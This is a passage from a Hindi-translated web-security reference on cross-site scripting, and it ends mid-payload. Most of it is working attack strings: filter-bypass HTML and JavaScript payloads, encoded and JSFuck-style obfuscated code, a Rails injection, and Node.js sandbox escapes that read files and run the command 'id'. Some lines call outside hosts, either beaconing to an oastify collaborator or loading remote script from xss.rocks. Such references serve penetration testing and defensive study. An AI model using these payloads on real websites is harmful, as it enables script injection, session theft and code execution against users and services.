"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
विशेष एस्केप्स
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
JS कोड के अंदर स्थान प्रतिस्थापन
<TAB>
/**/
JavaScript टिप्पणियाँ (से JavaScript टिप्पणियाँ चाल)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript नई पंक्तियाँ (से JavaScript नई पंक्ति ट्रिक)
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript में व्हाइटस्पेस
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
टिप्पणी के अंदर Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
बिना परन्थेसिस के JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
मनमाने फंक्शन (alert) कॉल
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM संवेदनशीलताएँ
ऐसा JS कोड है जो हमलावर द्वारा नियंत्रित डेटा का असुरक्षित रूप से उपयोग कर रहा है जैसे कि location.href
। एक हमलावर, इसका दुरुपयोग करके मनमाना JS कोड निष्पादित कर सकता है।
DOM संवेदनशीलताओं की व्याख्या के विस्तार के कारण इसे इस पृष्ठ पर ले जाया गया है:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
वहाँ आपको DOM संवेदनशीलताएँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इनका शोषण कैसे किया जाता है, की विस्तृत व्याख्या मिलेगी।
साथ ही, यह न भूलें कि उल्लिखित पोस्ट के अंत में आपको DOM Clobbering हमलों के बारे में व्याख्या मिलेगी।
अन्य बाईपास
सामान्यीकृत यूनिकोड
आप जांच सकते हैं कि क्या प्रतिबिंबित मूल्य सर्वर में (या क्लाइंट साइड में) यूनिकोड सामान्यीकृत किए जा रहे हैं और इस कार्यक्षमता का दुरुपयोग करके सुरक्षा उपायों को बाईपास कर सकते हैं। यहाँ एक उदाहरण देखें.
PHP FILTER_VALIDATE_EMAIL फ्लैग बाईपास
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails बायपास
RoR mass assignment के कारण, कोट्स HTML में डाले जाते हैं और फिर कोट रेस्ट्रिक्शन को बायपास किया जाता है और अतिरिक्त फील्ड्स (onfocus) को टैग के अंदर जोड़ा जा सकता है।
उदाहरण के लिए (इस रिपोर्ट से), यदि आप पेलोड भेजते हैं:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
जोड़ी "Key", "Value" इस प्रकार प्रतिध्वनित की जाएगी:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
तब, onfocus विशेषता डाली जाएगी:
एक XSS होता है।
विशेष संयोजन
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 प्रतिसाद में हेडर इंजेक्शन के साथ XSS
यदि आप पाते हैं कि आप 302 Redirect प्रतिसाद में हेडर इंजेक्ट कर सकते हैं, तो आप ब्राउज़र को मनमानी JavaScript निष्पादित करने का प्रयास कर सकते हैं। यह सरल नहीं है क्योंकि आधुनिक ब्राउज़र HTTP प्रतिसाद की स्थिति कोड 302 होने पर HTTP प्रतिसाद बॉडी की व्याख्या नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड बेकार है।
इस रिपोर्ट में और इस एक में आप पढ़ सकते हैं कि कैसे आप Location हेडर के अंदर कई प्रोटोकॉल का परीक्षण कर सकते हैं और देख सकते हैं कि क्या उनमें से कोई भी ब्राउज़र को बॉडी के अंदर XSS पेलोड का निरीक्षण और निष्पादन करने की अनुमति देता है।
पिछले ज्ञात प्रोटोकॉल: mailto://
, //x:1/
, ws://
, wss://
, खाली Location हेडर, resource://
.
केवल अक्षर, संख्या और डॉट्स
यदि आप callback को इंगित कर सकते हैं जिसे javascript निष्पादित करने वाला है और वह सीमित है उन वर्णों तक। इस पोस्ट के इस खंड को पढ़ें इस व्यवहार का दुरुपयोग कैसे करें यह जानने के लिए।
XSS के लिए मान्य <script>
Content-Types
(यहाँ से) यदि आप application/octet-stream
जैसे content-type के साथ स्क्रिप्ट लोड करने का प्रयास करते हैं, तो Chrome निम्नलिखित त्रुटि देगा:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
केवल वे Content-Types जो Chrome को लोड की गई स्क्रिप्ट चलाने का समर्थन करेंगे, वे https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc से const kSupportedJavascriptTypes
के अंदर हैं।
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS में स्क्रिप्ट प्रकार
(यहाँ से) तो, स्क्रिप्ट लोड करने के लिए कौन से प्रकार संकेतित किए जा सकते हैं?
<script type="???"></script>
The translation is:
- module (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
- webbundle: Web Bundles एक ऐसी सुविधा है जिसमें आप ढेर सारे डेटा (HTML, CSS, JS…) को एक साथ
.wbn
फाइल में पैकेज कर सकते हैं।
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: इम्पोर्ट सिंटैक्स में सुधार करने की अनुमति देता है
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
इस व्यवहार का उपयोग इस लेखन में एक पुस्तकालय को eval के लिए पुनः मैप करने और इसका दुरुपयोग करके XSS ट्रिगर करने के लिए किया गया था।
- speculationrules: यह सुविधा मुख्य रूप से प्री-रेंडरिंग के कारण होने वाली कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Web Content-Types के लिए XSS
(यहाँ से) निम्नलिखित content types सभी browsers में XSS को निष्पादित कर सकते हैं:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे CTF में देखा है)
- application/rss+xml (बंद)
- application/atom+xml (बंद)
अन्य browsers में अन्य Content-Types
का उपयोग करके मनमाने JS को निष्पादित किया जा सकता है, जांचें: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
यदि पृष्ठ text/xml content-type वापस कर रहा है तो एक namespace को संकेत करना संभव है और मनमाने JS को निष्पादित करना:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
विशेष प्रतिस्थापन पैटर्न
जब कुछ इस तरह "कुछ {{template}} डेटा".replace("{{template}}", <user_input>)
का उपयोग किया जाता है। हमलावर विशेष स्ट्रिंग प्रतिस्थापन का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
उदाहरण के लिए इस राइटअप में, इसका उपयोग एक स्क्रिप्ट के अंदर JSON स्ट्रिंग को बचाने और मनमाने कोड को निष्पादित करने के लिए किया गया था।
Chrome Cache से XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS Jails से बचना
यदि आपके पास केवल सीमित सेट ऑफ चार्स का उपयोग करने की अनुमति है, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जांच करें:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
यदि सब कुछ undefined है अविश्वसनीय कोड निष्पादित करने से पहले (जैसे कि इस लेखन में), तो यह संभव है कि "कुछ भी नहीं से" उपयोगी ऑब्जेक्ट्स उत्पन्न करके मनमाने अविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सकता है:
- import() का उपयोग करते हुए
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
require
का अप्रत्यक्ष रूप से उपयोग करना
इसके अनुसार Node.js द्वारा मॉड्यूल्स को एक फंक्शन के भीतर इस प्रकार से लपेटा जाता है:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
इसलिए, यदि उस मॉड्यूल से हम दूसरा फंक्शन कॉल कर सकते हैं, तो arguments.callee.caller.arguments[1]
का उपयोग करके उस फंक्शन से require
तक पहुँचना संभव है:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
पिछले उदाहरण की तरह, एरर हैंडलर्स का उपयोग करके मॉड्यूल के व्रैपर तक पहुँचना संभव है और require
फंक्शन प्राप्त करना:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
ओब्फस्केशन और उन्नत बाईपास
- एक पेज में विभिन्न ओब्फस्केशन्स: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- अधिक सोफिस्टिकेटेड JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ 